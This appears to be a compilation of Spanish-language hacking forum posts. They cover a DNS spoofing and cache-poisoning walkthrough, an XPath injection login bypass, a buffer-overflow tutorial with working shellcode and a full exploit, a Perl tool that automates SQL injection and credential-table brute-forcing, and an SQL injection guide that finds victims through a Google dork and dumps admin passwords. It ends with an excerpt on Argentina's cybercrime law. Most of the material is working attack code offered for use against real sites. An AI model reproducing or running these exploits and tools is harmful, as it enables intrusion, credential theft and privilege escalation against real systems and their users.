Con eso todo lo que envie [Router] a [DNS de Pepe] y viceversa pasará por [PC OWNED] pues hemos efecuado un envenenamiento de ARP.

Segundo paso:
Ahora Zer0 necesitá poner a funcionar un sniffer en tiempo real, en nuestro caso tcpdump con un script que detecte si hay una petición de parte de [DNS de Pepe] al [DNS de GMAIL] y en ese preciso instante de de baja el ip_forwarding:

Citar
[root@PC OWNED Zer0]# tcpdump -vvv -w /dump host [Router] and proto udp

Con eso se snifará todo el trafico que pase por nuestra maquina con destino a [Router] en protocolo udp. Lo que resta es hacer un script en bash que analice cada 1 segundo el contenido de "/dump", chequee si hay una peticion a [DNS de GMAIL], que en caso negativo borre el dump, en caso afirmativo detenga el ip_forwarding.

Tecer paso:
Ahora Zer0 que ya tiene el id de la petición falsea una respuesta de forma similar a la siguiente:

Citar
[DNS de GMAIL]. 124594 IN A 192.x.x.x

Donde 124594 es la ID y 192.x.x.x es la IP falseada.

Con esto quedaría en teoría envenenada la caché del [DNS de Pepe]!

Alternativa al Tercer paso:
Imaginando que Zer0 tuviera acceso la red local de Pepe en lugar de al DNS de Pepe sería mucho más sencillo usar la herramienta DNSSpoof:
(Los pasos anteriores serían identicos salvando la diferencia entre [DNS de Pepe] y [Pepe])

Citar
[root@PC OWNED Zer0]# dnsspoof -f hosts
dnsspoof: listening on eth0 [udp dst port 53 and not src [PC OWNED]]

Y luego creado el hosts de la siguiente forma:

Citar
----
[root@PC OWNED Zer0]# cat > hosts
192.x.x.x *.gmail.com
----

Con eso en cuanto [Pepe] le haga una petición al DNS relativa a gmail estará spoofeado el dns server y no habrá necesidad de envenenar la caché del verdadero DNS Lengua


~~~~~~~~~~~~~~~~~~~~~~~~~~
Despedida:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Queda mucho más por decir, se puede hablar de metodos para intentar "adivinar" la ID de los mensajes y así evitar tener que spoofear, se puede hablar de exploits que lo hacen todo solo, de servidores mas o menos vulnerables, etc etc.
Yo creo que la teoría hasta acá llega y los que hayan leido y comprendido ya pueden considerar que saben bien que es y mas o menos como realizar un ataque a un DNS Server.

Para finalizar les pongo documentación y enlaces interesantes que DEBEN si o si chequear:


- Kaminsky DNS Cache Poisoning Flaw Exploit for host
http://www.caughq.org/exploits/CAU-EX-2008-0002.txt
- Kaminsky DNS Cache Poisoning Flaw Exploit for Domains
http://www.caughq.org/exploits/CAU-EX-2008-0003.txt
- DNS Spoofing techniques
http://www.securesphere.net/download/papers/dnsspoof.htm
- Información técnica:
http://www.kb.cert.org/vuls/id/800113
http://www.us-cert.gov/cas/techalerts/TA08-190B.html
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-1447
-Lista con el estado de servidores DNS de los principales ISP españoles:
http://bandaancha.eu/analizador-dns

ntroduccion al XPath Injection by Reberto

XPath Injetions es una tecnica mas, usada para explotar una web vulnerable por medio de consultas xpath de parte de el atacante.
Primero para empezar a ver la introduccion necesitamos saber que es el Xpath aqui adjunto una definicion de la wikipedia xD:

"XPath (XML Path Language) es un lenguaje que permite construir expresiones que recorren y procesan un documento XML. La idea es parecida a las expresiones regulares para seleccionar partes de un texto sin atributos (plain text). XPath permite buscar y seleccionar teniendo en cuenta la estructura jerárquica del XML. XPath fue creado para su uso en el estándar XSLT, en el que se usa para seleccionar y examinar la estructura del documento de entrada de la transformación."

Bueno, ahora que ya sabemos que es el XPath vamos a ver que son las injections de este lenguaje...

Basicamente, viene de la mano con las SQL Injection ya que a medida que nosotros injectamos querys vamos a ir logrando sacar informacion de la database.
En documentos xml, la informacion se guarda en nodos y cuando se le consulta a traves de Xpath querys devuelve una respuesta.
Veamos un ejemplo asi queda mas claro: Digamos que tengo un archivo xml que se llama userddlr.xml y este esta mas o menos asi:



MurdeR
elite


boER!
soygay



Aca es donde vienen las injecciones

Supongamos que el XPath query para logearse es

String(//ddlr/user[username/text()=' " + txtusername.Text + " ' and password/text()=' "+ txtpassword.Text +" '])


Se supondria que una consulta valida entonces seria :

String(//ddlr/user[username/text()='MurdeR' and password/text()='elite'])


Y ahi estaria logeandose...

Pero que pasaria si nosotros le ponemos: ' or 1=1 or ''='

Veamos como quedaria:

String(//ddlr/user[username/text()='' or 1=1 or ''='' and password/text()='' or 1=1 or ''=''])


lop xD , estamos logeados y adentro.

Muchos diran que esto es igual que SQL Injection, pero hasta aca puede ser parecido, estudiado en profundidad tiene mucho mas utilidades.
Otras injecciones muestran partes o algunas veces todo el documento xml , asi mostrando mucha informacion valiosa.

Bueno espero que les haya gustado, me gusto hacer esta introduccion a las XPath injection ya que hay muy poco material en castellano de este tema tan interesante

Agradecimientos a Reberto de Dios de la RED

buffer overflows para 'kiddies'

/* translated by honoriak thz to teleh0r for letting me
translate and publish this text in spanish */

-- buffer overflows para 'kiddies' (chavalotes) (plataformas x86) --

http://teleh0r.cjb.net
===========================================================


---\ Introduccion \

Tu has leido todas las guias sobre buffer overflows y no has sacado nada en
limpio. No te preocupes, ahora vas a poder leer la unica guia que necesitas!
Ehh, esto no es asi verdaderamente - pero este manual es un buen comienzo.
Si quieres aprender esto bien, lee el articulo de aleph one en phrack,
revista numero 49, articulo numero 14 (http://www.phrack.com) o tambien la
traduccion al castellano en http://julianor.tripod.com/smashing/P49-4-Smashing_the_stack-Spanish.txt

Nota: Si, esto es para 'kiddies'. Por que? Me gusta cuando hay un nuevo
exploit en packetstorm - y quien tiene mas tiempo para comprobar programas
'explotables'? Los chavales!

---\ Encontrando programas para 'explotar' \

Lo primero que necesitas encontrar es un programa que puedas 'explotar',
debe tener unos privilegios especiales, sino seria una perdida de tiempo
intentar 'explotarlo'. Ten en cuenta que un programa que no es setuid, o
setgid.. por ejemplo slackware debe ser setuid en redhat.

Para hacer esta tarea mas simple, haz una busqueda de todos los
programas setuid/setgid que existen en tu distribucion.

Si necesitas ayuda con eso, y problablemente la necesitaras - encontes
visita packetstorm y en el directorio de los exploits-9901, baja mother2.sh.

[root@localhost teleh0r]# ./mother2.sh

* mother2.sh by: syg @ EFnet
*
* Usage: ./mother2.sh

[root@localhost teleh0r]# ./mother2.sh setuid setgid

* mother2.sh by: syg @ EFnet
*
* setuid-OutPutFile -> setuid
* setgid-OutPutFile -> setgid
*
* Now scanning /* for setuid...
*
* setuid scan done...
*
* Now scanning /* for setgid...
*
* setgid scan done...
*
* mother2.sh complete...
* Check setuid and setgid

[root@localhost teleh0r]# ls setgid setuid
setgid setuid

Despues echa un vistazo a la lista, debe haber una para setuid y otra para
setgid.

---\ Un ejemplo real \

Ok, el momento para un ejemplo. He escrito un reducido programa que es
'explotable' a traves de un buffer overflow. Copia la KIDVULN sin verificar
los saltos.

(strcpy es realmente peligroso! Guiñar

Ok, veamos como podemos 'explotar' esto, eso es lo que quieres, no?
Primero compila el codigo que esta justo debajo. (gcc -o kid kid.c)

-------\ kid.c \

#include

int main() {
char kidbuffer[1024];

if (getenv("KIDVULN") == NULL) {
fprintf(stderr, "Grow up!\n");
exit(1);
}

/* Mete los datos de la variable de entorno en el buffer */
strcpy(kidbuffer, (char *)getenv("KIDVULN"));

printf("La variable de entorno KIDVULN es:\n\"%s\".\n\n", kidbuffer);

printf("No es la vida maravillosa en una guarderia?\n");

return 0;
}

-------\

Para hacerte sentir extra-elite, como root haz chemod kid u+s, y situa el
programa en el directorio /bin. Ahora comencemos con el 'exploit'.

[root@localhost teleh0r]# export KIDVULN=erl -e '{print
"A"x"1030"}'
[root@localhost teleh0r]# /bin/kids
Environment variable KIDVULN is:
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAA....

No es la vida maravillosa en una guarderia?
Segmentation fault (core dumped)
[root@localhost teleh0r]# gdb -c core /bin/kids
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
Core was generated by /bin/kids'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0x4000af9a in _dl_sysdep_output (fd=2,
msg=0x40108f8b

) at dl-misc.c:95
95 dl-misc.c: No such file or directory.
(gdb) info register esp
esp 0xbffff720 -1073744096
(gdb) quit

Primero use 1030 A's porque eso es lo que necesito. Mira el codigo, sabemos
que kidbuffer puede ser de 1024 bytes como maximo.
(char kidbuffer[1024]Guiñar

Ok, ahora tu tienes que conseguir lo que necesitas para 'explotar' este
programa. Tienes las dimensiones y intentaremos usar esp como direccion de
retorno de nuestro exploit.
No te preocupes, he escrito un exploit para que puedas usar en muchos casos,
y te mostrare lo que cambiar para hacer que funcione en todos los casos.

Ok, asi que tenemos:

RET=0xbffff720 // (direccion de retorno)
LEN=1030 // (dimensiones del buffer)

Cambia esto en el exploit que he escrito debajo, y despues el comienzo del
exploit parecera algo como esto:

-------\

#include

/* teleh0r's own k-rad shellcode! */

char codez[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
"\xff\xff/bin/sh";

#define NOP 0x90
#define LEN 1030
#define RET 0xbffff720 // Redhat 6.2 (Zoot)
// encontraras el exploit completo al final...

-------\

Ahora por fuerza bruta haremos esto, y para lo que usaremos este simple
shell script.

-------\ bah.sh \

#!/bin/sh

NUMBER=-5000

until [ "$NUMBER" -gt "5000" ]; do
./hass $NUMBER
echo "Usando este offset : $NUMBER" # > file
NUMBER=$[$NUMBER+5]
done

-------\

Ejecuta este script, y si tu terminal se jode, imprime el offset en un
fichero, y como otro usuario, catealo cuando el exploit salte a una shell.

[root@localhost /root]# ./bah.sh

- (c) 'teleh0r@doglover.com' anno 2000 -
Use : ./hass [offset]
Using: address 0xbffff34c

La variable de entorno KIDVULN es:
"

k^
1A
F
F
0

s
V
I
1U
X@I
h\Huh/bin/sh??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8

No es la vida maravillosa en una guarderia?
bash#

-------\

Despues reemplaza la antigua direccion de retorno con el nuevo RET que el
exploit te ha dado - asi lo tenemos por fuerza bruta - asi que el nuevo
RET=0xbffff34c

[root@localhost teleh0r]# ./hass

- (c) 'teleh0r@doglover.com' anno 2000 -
Use : ./hass [offset]
Using: address 0xbffff34c

La variable de entorno KIDVULN es:
"

k^
1A
F
F
0

s
V
I
1U
X@I
h\Huh/bin/sh??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??L

No es la vida maravillosa en una guarderia?
bash# wh0a! lo hice, lo hice!


--\ Programas que necesitaras \

Tu puedes usar mis codigos libremente, pero no tienes que adjuntar ningun
tipo de credito.

Como conseguir la shellcode?
Puedes tambien usar un "generador de shells", que te hara el shellcode para
ti. "execve-shell.tar.gz" el cual puedes conseguir en la pagina de teso esta
muy bien y es facil de usar (http://teso.scene.at/)

Otro programa bueno que puedes probar hoy en dia, es un script en perl
llamado getenv.pl hecho por v9@fakehalo.org. Deberia poderse encontrar esta
aplicacion en packetstorm.

Y desde luego, el exploit usado por ejemplo.

-------\ hass.c \

/*
**
**
** -- INSERT K-RAD GREETZ HERE! --
**
** y0y0y0y0!
** hecho como ejemplo usado en este texto. (kid.c)
** Si por alguna razon no va, intentalo por fuerza bruta!
*/

#include

/* teleh0r's own k-rad shellcode! */

char codez[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
"\xff\xff/bin/sh";

#define NOP 0x90
#define LEN 1030
#define RET 0xbffffc10 // Redhat 6.2 (Zoot)

void main(int argc, char *argv[]) {

char buffer[LEN];
long retaddr, offset;
int i;

offset = 0;
if (argc > 1) {
offset = atol(argv[1]);
}
retaddr = RET + offset;

printf("\n- (c) teleh0r@doglover.com anno 2000 -\n");
printf("Use : %s [offset] \n", argv[0]);
printf("Using: address 0x%lx\n\n", retaddr);

for (i = 0; i < LEN; i += 4)
*(long *) &buffer = retaddr;

for (i = 0; i < (LEN - strlen(codez) - 100); ++i)
*(buffer + i) = NOP;

memcpy(buffer + i, codez, strlen(codez));

setenv("KIDVULN", buffer, 1);
execl("/bin/kid", "kid", 0);

return 0;
}

-------\


*/ translated finished Sat Dec 2 01:58:18 CET 2000 */

Recopilacion LockPicking

Recopilacion de algunos manuales de lockpicking

Descarga: http://rapidshare.com/files/130913191/lockpicking.rar.html

Saludos.

Sql -Pw> v0.7 | By Login-Root

Script:

#!/usr/bin/perl

###########################################################################################
# -[+]- SQL-PwnZ v0.7 | By Login-Root -[+]- ###
###########################################################################################

###########################################################################################
# [+] inf0: ###
###########################################################################################
# Busca: ###
# ====== ###
# - Nº de columnas ###
# - Information_Schema && MySQL.User ###
# - LOAD_FILE ###
# - Tablas ###
# - Columnas ###
# ###
# ...y guarda todo en un archivo de texto. ###
# ###
###########################################################################################

###########################################################################################
# [+] c0ntact: ###
###########################################################################################
# MSN: no.more@passport.com ###
# Jabber: login-root@x23.eu ###
# E-Mail: login_root@yahoo.com.ar ###
###########################################################################################

###########################################################################################
# [+] sh0utz: ###
###########################################################################################
# In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; VenoM ###
# Many thanks to boER, who teach me a little of perl ;D ###
# VISIT: WWW.MITM.CL | WWW.REMOTEEXECUTION.ORG ###
###########################################################################################

use LWP::Simple;

if(!$ARGV[2])
{
print "\n\n-[+]- SQL-PwnZ v0.7 | By Login-Root -[+]-\n=========================================";
print "\n\nUso: perl $0 [WEBSITE] [COLUMNS] [FILE] [-T] [-C]\n";
print "\n[WEBSITE]: http://www.web.com/index.php?id=\n[COLUMNS]: Limite de columnas\n[FILE]: Archivo donde guardar web vulnerable\n[-T]: Intentar brutear tablas (Opcional)\n[-C]: Intentar brutear columnas (Opcional)\n\n";
exit (1);
}

@nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
'name','names','nombre','nombres','usuarios','member','members','admin_table',
'miembro','miembros','membername','admins','administrator',
'administrators','passwd','password','passwords','pass','Pass',
'user_password','user_passwords','user_name','user_names',
'member_password','mods','mod','moderators','moderator','user_email',
'user_emails','user_mail','user_mails','mail','emails','email','address',
'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
'u_password','nick','nicks','manager','managers','administrador',
'administradores','clave','login_id','pwd','pas','sistema_id',
'sistema_usuario','sistema_password','contrasena','auth','key','senha',
'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member','tb_users','tb_user','tb_sys','sys',
'fazerlogon','logon','fazer','authorization','membros','utilizadores','staff','nuke_authors',
'accounts','account','accnts','accnt','customers','customer','membres','administrateur','utilisateur','utilisateurs',
'password','passwords','amministratore','god','God','authors','autores','membername','usuario','Users','Admin','Members',
'Miemberos','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');
@nombrecolumna=('admin_name','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','user_name','username','name',
'user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','usrnm','user_usrnm','usr',
'usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','sistema_usuario','auth',
'key','membername','nme','unme','psw','password','user_password','pass_hash','hash','pass','userpass','user_pass','upw',
'pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','user_pwd','u_pass','clave',
'contrasena','pas','sistema_password','auth','key','upassword');

open(WEB,">>".$ARGV[2]) || die "\n\n[-] Imposible crear el archivo de texto\n";
$column = 0;
print "\n[!] Chequeando si la web es vulnerable...\n";
$sql=$ARGV[0]."-1+union+all+select--";
$response=get($sql)or die("[-] Direccion web ingresada erroneamente, favor de reingresar de nuevo\n");
if($response=~ /mysql_fetch_/ || $response=~ /You have an error in your SQL syntax/)
{
print "[+] Web vulnerable, continua el script...\n";
print WEB "[WEBSITE]:\n\n$ARGV[0]\n";
}
else
{
print "[-] Website no vulnerable a SQL Inyection\n\n";
exit(1);
}
print "\n[!] Buscando columnas...\n";
while ($column < $ARGV[1])
{
$union.=','.$column;
$inyection.=','."0x6c6f67696e70776e7a";
if ($column == 0)
{
print WEB "\n[COLUMNAS]:\n\n";
$inyection = '';
$union = '';
}
$sql=$ARGV[0]."-1+union+all+select+0x6c6f67696e70776e7a".$inyection."--";
$response=get($sql)or die("[-] Error al intentar encontrar el numero de columnas, chequear website\n");
if($response=~ /loginpwnz/)
{
$column ++;
print "[+] La web posee $column columnas\n\n";
$sql=$ARGV[0]."-1+union+all+select+0".$union."--";
print "$sql\n";
print WEB "$sql\n";
print "\n[!] Chequeando si existe Information_Schema...";
$sql=$ARGV[0]."-1+union+all+select+0x6c6f67696e70776e7a".$inyection."+from+information_schema.tables--";
$response=get($sql)or die("[-] Imposible obtener Information_Schema\n");
if($response=~ /loginpwnz/)
{
print "\n[+] Information_Schema disponible...guardando en $ARGV[2]";
$sql=$ARGV[0]."-1+union+all+select+0".$union."+from+information_schema.tables--";
print WEB "\n\n[INFORMATION_SCHEMA]:\n\n$sql\n";

}
else
{
print "\n[-] Information_Schema no disponible";
}
print "\n[!] Chequeando si existe MySQL.User...";
$sql=$ARGV[0]."-1+union+all+select+0x6c6f67696e70776e7a".$inyection."+from+mysql.user--";
$response=get($sql)or die("[-] Imposible obtener MySQL.User\n");
if($response=~ /loginpwnz/)
{
print "\n[+] MySQL.User disponible...guardando en $ARGV[2]";
$sql=$ARGV[0]."-1+union+all+select+0".$union."+from+mysql.user--";
print WEB "\n\n[MYSQL.USER]:\n\n$sql\n";

}
else
{
print "\n[-] MySQL.User no disponible";
}
print "\n[!] Chequeando si es posible inyectar LOAD_FILE...";
$sql=$ARGV[0]."-1+union+all+select+load_file(0x2f6574632f706173737764)".$inyection."--";
$response=get($sql)or die("[-] Imposible inyectar LOAD_FILE\n");
if($response =~ /loginpwnz/ || $response !~ /mysql_fetch_/ && $response !~ /Access denied for user/ && $response !~ /doesn't exist/)
{
print "\n[+] LOAD_FILE disponible...guardando en $ARGV[2]";
print WEB "\n\n[LOAD_FILE]:\n\nload_file(0x2f6574632f706173737764) => OK!\n";
}
else
{
print "\n[-] LOAD_FILE no disponible";
}
if ($ARGV[3] =~ /-T/ || $ARGV[3] =~ /-t/)
{
print "\n\n[!] Bruteando tablas...";
print WEB "\n\n[TABLAS]:\n\n";
foreach $tabla(@nombretabla)
{
chomp($tabla);
$sql=$ARGV[0]."-1+union+all+select+0x6c6f67696e70776e7a".$inyection."+from+".$tabla."--";
$response=get($sql)or die("[-] Imposible obtener tablas\n");
if($response =~ /loginpwnz/)
{
print "\n[+] La tabla $tabla esta disponible...guardando en $ARGV[2]";
$sql=$ARGV[0]."-1+union+all+select+0".$union."+from+".$tabla."--";
print WEB "$sql\n";
}
}
}
if ($ARGV[3] =~ /-C/ || $ARGV[3] =~ /-c/ || $ARGV[4] =~ /-C/ || $ARGV[4] =~ /-c/)
{
print "\n\n[!] Tabla a la cual brutear columnas: ";
$tabla.=;
chomp($tabla);
print WEB "\n\n[COLUMNAS EN TABLA]: $tabla\n\n";
foreach $columna(@nombrecolumna)
{
chomp($columna);
$sql=$ARGV[0]."-1+union+all+select+".$columna.$inyection."+from+".$tabla."--";
$response=get($sql)or die("[-] Imposible obtener columnas\n");
if($response =~ /loginpwnz/ || $response !~ /mysql_fetch_/ && $response !~ /Access denied for user/ && $response !~ /doesn't exist/)
{
print "\n[+] La columna $columna esta disponible...guardando en $ARGV[2]";
print WEB "$columna\n";
}
}
}
print WEB "\n\n\n[*EOF*]";
print "\n\n[+] Todo salvado correctamente en $ARGV[2]\n";
print "## c0ded by Login-Root | 2008 ##\n\n";
exit (1);
}
else
{
$column ++;
}
}
print "\n[-] Imposible encontrar numero de columnas, intentar con mas columnas\n";
exit (1);


Ejemplo de uso:

http://img134.imageshack.us/img134/6568/07perlzc5.png


Archivo de texto de salida:

http://img182.imageshack.us/img182/4941/07textls7.png

By Login-Root

Inyecciones MySQL simples

Videotutorial de como hacer inyecciones en MySQL, obtener el numero y los nombres de las columnas, los nombres de las tablas y logueándose como admin.


Download:

Mirror 1:

http://rapidshare.com/files/124280292/sql.7z.html

Mirror 2:

http://www.badongo.com/file/10011380

Mirror 3:

http://fastuploading.com/download.php?id=5908F9251

By Login-Root

Mysql Inyexion by n0body

Bueno, aqui me lanzo con mi primer articulo sobre inyeccion sql, en el cual abordare desde el testeo de la vulnerabilidad hasta la obtencion de toda la

informacion de la base de datos, tambien mostrare los errores comunes y como solucionarlos para obtener el resultado esperado.

Lo primero es buscar un sitio vulnerable, no seremos muy selectivos con el objetivo ya que es solo para aprender la tecnica.


====================================================
Google Dork : inurl:".php?id=" Powered by www.dowgroup.com
====================================================

Para este caso utilizaremos este dork entregado por P47r1ck en el foro de darkc0de.com, desconozco si fue el quien encontro el bug pero no viene al caso de

este tuto. Aprovecho de paso de mandarle saludos (Regards P47r1ck)
Si ingresamos ese dork apareceran una gran cantidad de sitios vulnerables incluyendo el de dowgroup.com pero ud elijan el que mas les acomode, para este

ejemplo utilizaremos:

http://vuln.site/division.php?id=


vamos a testear si es vulnerable visitandolo e inyectandole algo para ver como responde...

http://vuln.site/division.php?id=9'

y nos da algo como...

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/vuln.site/public_html/division.php on line 10

Entonces estamos ok.

Comenzamos con lo tipico...ver el numero de columnas..

http://vuln.site/division.php?id=-1+union+select+1 error...
http://vuln.site/division.php?id=-1+union+select+1,2 error...
http://vuln.site/division.php?id=-1+union+select+1,2,3 error...
http://vuln.site/division.php?id=-1+union+select+1,2,3,4

no aparece error entonces ya podemos comenzar a efectuar consultas mas robustas...

http://vuln.site/division.php?id=-1+union+select+1,concat_ws(char(58),version(),user(),database(),now()),3,4--

explicare un poco esta consulta si se fijan reemplaze en el numero 2 (pudo haber sido cualquiera de los 4 numeros)por:

concat_ws(char(58),version(),user(),database(),now())

concat_ws() funcion que permite concatenar cadenas pero se le pasa como parametro el caracter para separar estas cadenas concatenadas, en este caso use como
separador los dos puntos(:) o char(58).
Tambien se puede utilizar la funcion concat() pero es cuestion de gustos...

version()= entrega la version del motor de base de datos.
user() = esta claro no??
database()= el nombre de la base de datos.
now()= la fecha actual.

La salida a esta consulta deberia verse como esta:

5.0.45-community:dummy_user1@r19p.nsvulnwebhost.com.ar:vuln_db1:2008-06-28 05:01:30

Seguimos... ahora que tenemos el nombre de la base de datos debemos encontrar los nombres de las tablas y luego el de las columnas hasta obtener el valor de

los campos...


Manos a la obra se viene lo mas duro...

Obtencion de nombre de tablas:

Para obtener el nombre de las tablas usaremos la funcion information_schema.tables, la cual con el nombre de la base de datos mas la funcion limit podremos
obtener todos los nombres de las tablas.
Se utiliza de la siguiente manera...


http://www.vuln.site/division.php?id=-1+union+select+1,table_name,3,4+from+information_schema.tables+where+table_schema='vuln_db1'+limit+0,1--

Analizemos:


donde hiba el numero 2 coloque table_name y al final de los numeros de las columnas agregue:

+from+information_schema.tables (funcion que nos entrega el nombre de la tabla)
+where+table_schema='vuln_db1' que es la base de datos
+limit+0,1-- que es la funcion que me permitira ir recorriendo la base de datos para obtener todos los nombres de las tablas...

Pero resulta que esta consulta esta bien estructurada y escrita pero NO FUNCIONA...lo que pasa es que el servidor este tenia el Magic_quote: ON, por lo tuve
que transformar el nombre de la base de datos a caracteres ascii: y me quedo asi:

vuln_db1 = char(118,117,108,110,95,100,98,49)

Reemplace en la consulta anterior por lo que me quedo asi:


http://www.vuln.site/division.php?id=-1+union+select+1,table_name,3,4+from+information_schema.tables+where+table_schema=char(118,117,108,110,95,100,98,49)

+limit+0,1--


y bueno la respuesta es:

admin (he aqui el nombre de la primera tabla de la base de datos), ahora debemos modificar el valor de la funcion limit para ir obteniendo las demas tablas.


http://www.vuln.site/division.php?id=-1+union+select+1,table_name,3,4+from+information_schema.tables+where+table_schema=char(118,117,108,110,95,100,98,49)

+limit+1,1--

division


http://www.vuln.site/division.php?id=-1+union+select+1,table_name,3,4+from+information_schema.tables+where+table_schema=char(118,117,108,110,95,100,98,49)

+limit+2,1--

dynamic_pages


y asi hasta que NO nos entregue mas datos.

Ahora que tenemos el nombre de las tablas obtendremos el nombre de las columnas de dicha tabla y nos valdremos de la funcion:
information_schema.columns.

La consulta nos quedaria mas menos asi:



http://www.vuln.site/division.php?id=-1+union+select+1,column_name,3,4+from+information_schema.columns+where+table_schema=char(118,117,108,110,95,100,98,49)

+and+table_name=char(97,100,109,105,110)+limit+0,1--


que cambio con respecto a la consulta anterior??

que donde hiba table_name colocamos ahora column_name y la funcion information_schema.table paso a ser information_schema.columns ademas se agrego un and mas

el nombre de la tabla en ascii(admin=char(97,100,109,105,110).
El procedimiento sera el mismo iremos modificando el valor de limit hasta que no nos entregue resultados...


Que salida nos da:

admin_id (primera columna de tabla admin)

luego modificamos el limit


http://www.vuln.site/division.php?id=-1+union+select+1,column_name,3,4+from+information_schema.columns+where+table_schema=char(118,117,108,110,95,100,98,49)

+and+table_name=char(97,100,109,105,110)+limit+1,1--

user_name


http://www.vuln.site/division.php?id=-1+union+select+1,column_name,3,4+from+information_schema.columns+where+table_schema=char(118,117,108,110,95,100,98,49)

+and+table_name=char(97,100,109,105,110)+limit+2,1--

Password (esto se va poniendo interesante jejeje)


http://www.vuln.site/division.php?id=-1+union+select+1,column_name,3,4+from+information_schema.columns+where+table_schema=char(118,117,108,110,95,100,98,49)

+and+table_name=char(97,100,109,105,110)+limit+3,1--


email

y luego no entrego mas columnas por lo que concluimos que se acabaron los datos de esa tabla. El procedimiento para obtener los datos de las otras tablas es

igual solo se debe pasar el nombre de la tabla a ascii y reemplazarce en el campo table_schema.

Ahora para cumplir con lo prometido leeremos desde la tabla admin el admin_id, user_name, Password y el email...


http://www.vuln.site/division.php?id=-1+union+select+1,concat_ws(char(58),admin_id,user_name,password,email),3,4+from+admin--


y nos dara como resultado...


1:admin_vuln:yeyea:root@vuln.site

Y vuala asi es como se realiza una injeccion sql.

Espero haberles aclarado algo el panorama a todos aquellos que recien se inician, recuerden todo lo aqui expuesto es con fines meramente educativos y no me

hago responsable del daño que puedan causar con esta informacion.


Para pasar la cadena a valores ascii pueden utilizar la siguiente funcion en php:

$texto=$_POST['texto'];
if($submit)
{
$char="char(";
for($k=0; $k<=strlen($texto)-1; $k++)
{
$char.=ord($texto[$k]);
if ($k==strlen($texto)-1)
{
$char.=")";
}
else
{
$char.=",";
}
}
?>

la cual se envia desde un formulario mediante el metodo post... y la suben a algun server, o mas facil pueden utilizar el encoder programado por c1c4tr1z

en:http://www.new-bytes.net/encode/

Adjunto tambien un link de descarga de una aplicacion que realiza este trabajo en forma automatica...

http://darkc0de.com/others/schemafuzz.py



Saludos a c1c4tr1z,0zx,whk,p47r1ck and JosS.

atte,
n0b0dy

ley delitos informáticos argentina

La incorporación de los delitos informáticos al Código Penal argentino
26/06/2008
Tiempo promedio de lectura 7'49 minutos

Ley de delitos informáticos
Hace apenas un poquito más de dos semanas, más exactamente el 4 de Junio, fue sancionada la Ley 26.388 de Delitos Informáticos, incorporándose así Argentina a la lista de países que cuentan con regulación legal sobre esta importante cuestión.

La Ley 26.388 no es una ley especial, que regula este tipo de delitos en un cuerpo normativo separado del Código Penal (CP) con figuras propias y específicas, sino una ley que modifica, sustituye e incorpora figuras típicas a diversos artículos del CP actualmente en vigencia, con el objeto de regular las nuevas tecnologías como medios de comisión de delitos previstos en el CP.

Delitos informáticos penados y penas instituidas
A lo largo de su articulado tipifica, entre otros, los siguientes delitos informáticos:
• Pornografía infantil por Internet u otros medios electrónicos (art. 128 CP);
• Violación, apoderamiento y desvío de comunicación electrónica (art. 153, párrafo 1º CP);
• Intercepción o captación de comunicaciones electrónicas o telecomunicaciones (art. 153, párrafo 2º CP);
• Acceso a un sistema o dato informático (artículo 153 bis CP);
• Publicación de una comunicación electrónica (artículo 155 CP);
• Acceso a un banco de datos personales (artículo 157 bis, párrafo 1º CP);
• Revelación de información registrada en un banco de datos personales (artículo 157 bis, párrafo 2º CP);
• Inserción de datos falsos en un archivo de datos personales (artículo 157 bis, párrafo 2º CP; anteriormente regulado en el artículo 117 bis, párrafo 1º, incorporado por la Ley de Hábeas Data);
• Fraude informático (artículo 173, inciso 16 CP);
• Daño o sabotaje informático (artículos 183 y 184, incisos 5º y 6º CP).

Las penas establecidas son: a) prisión; b) inhabilitación (cuando el delito lo comete un funcionario público o el depositario de objetos destinados a servir de prueba); c) multa (ej. art. 155).

Delito concreto de daño informático. Interpretaciones
Puntualmente, destacamos el artículo 10 de la ley sancionada que dice: Incorpórase como segundo párrafo del artículo 183 del Código Penal, el siguiente:
“En la misma pena incurrirá el que alterare, destruyere o inutilizare datos, documentos, programas o sistemas informáticos; o vendiere, distribuyere, hiciere circular o introdujere en un sistema informático, cualquier programa destinado a causar daños”.

El motivo aludido para legislar en esta materia está claramente enunciado en el texto citado: el artículo 183 CP actualmente vigente, que tipifica el delito de daño en general, sólo es aplicable cuando la acción dañosa recae sobre un bien tangible, no cuando recae sobre un bien intangible, y tanto los datos como el software (programas) encuadran en esta última categoría. Según los Fundamentos del Proyecto de Ley la figura de daño del CP tal como está tipificada en el artículo 183 no es aplicable al daño informático.

